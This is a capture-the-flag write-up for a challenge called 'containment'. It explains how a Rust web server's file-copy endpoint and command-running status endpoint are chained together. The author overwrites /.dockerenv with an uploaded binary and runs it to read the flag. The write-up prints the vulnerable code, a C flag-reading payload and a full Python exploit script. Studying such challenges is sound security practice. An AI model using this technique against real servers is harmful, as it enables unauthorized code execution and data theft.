containment
SRC: https://library.m0unt41n.ch/challenges/containmentThe challenge exposes a /rename and /status endpoint in a minimal container environment running a Rocket-based Rust server. We leveraged the fact that certain files like /containment or /.dockerenv are always executable, even after being overwritten. So we can upload any file and rename it, which allows us to basically overwrite these always executeable files .dockerenv and containment. First I tried using containment but it didnt work, so i renamed my payload to .dockerenv and got successful execution.
Before getting into the payload here some info bout the vuln code:
GET /rename?<from>&<to>
Renames a file from to something else.
C:
#[get("/rename?<from>&<to>")]
fn rename(from: &str, to: &str) -> std::io::Result<String> {
if from.to_lowercase().contains("flag") || to.to_lowercase().contains("flag") {
return Err(std::io::Error::from(std::io::ErrorKind::InvalidInput));
}
let from = PathBuf::from(from);
let to = PathBuf::from(to);
let bytes = std::fs::read(from)?;
std::fs::write(to, bytes)?;
Ok(String::from("Rename successful"))
}
Allows us renaming files.. so after uploading our payload we will rename it too .dockerenv..
GET /status/<cmd>/<arg>
Get some server status information obtained by executing the command
and argument given in the url.
C:
#[get("/status/<cmd>/<arg>")]
fn status(cmd: &str, arg: &str) -> String {
let output = Command::new(cmd)
.arg(arg)
.current_dir("/")
.output();
match output {
Ok(o) => {
let stdout = String::from_utf8(o.stdout).unwrap_or(String::from("Invalid utf8 in stdout"));
let stderr = String::from_utf8(o.stderr).unwrap_or(String::from("Invalid utf8 in stderr"));
format!("stdout: {}\nstderr: {}", stdout, stderr)
},
Err(e) => format!("Something went wrong while getting status:\n {:?}", e),
}
}
so we will basically just send a request too /status/.dockerenv (freshly renamed) with /a as argument executing it...
Now too the payload, we can basically just upload an elf binary which reads flag.txt and prints it..
C:
#include <stdio.h>
int main() {
FILE *f = fopen("/flag.txt", "r");
if (!f) return 1;
for (int c; (c = fgetc(f)) != EOF;)
putchar(c);
fclose(f);
return 0;
}
and the final xploit script:
Python:
import requests
url = "https://x.library.m0unt41n.ch:31337"
with open("payload2", "rb") as p:
payload = p.read()
r = requests.post(url + "/upload", headers={
"Content-Type": "text/plain"
}, data=payload)
uuid = r.text.strip()
print("[*] Uploaded UUID:", uuid)
# Rename to .dockerenv, instead of containment.... containerment is fucked up
r = requests.get(url + "/rename", params={
"from": f"/tmp/uploads/{uuid}",
"to": "/.dockerenv"
})
print("[*] Rename result:", r.text)
r = requests.get(url + "/status/.dockerenv/a")
print("[*] Execution output:\n", r.text)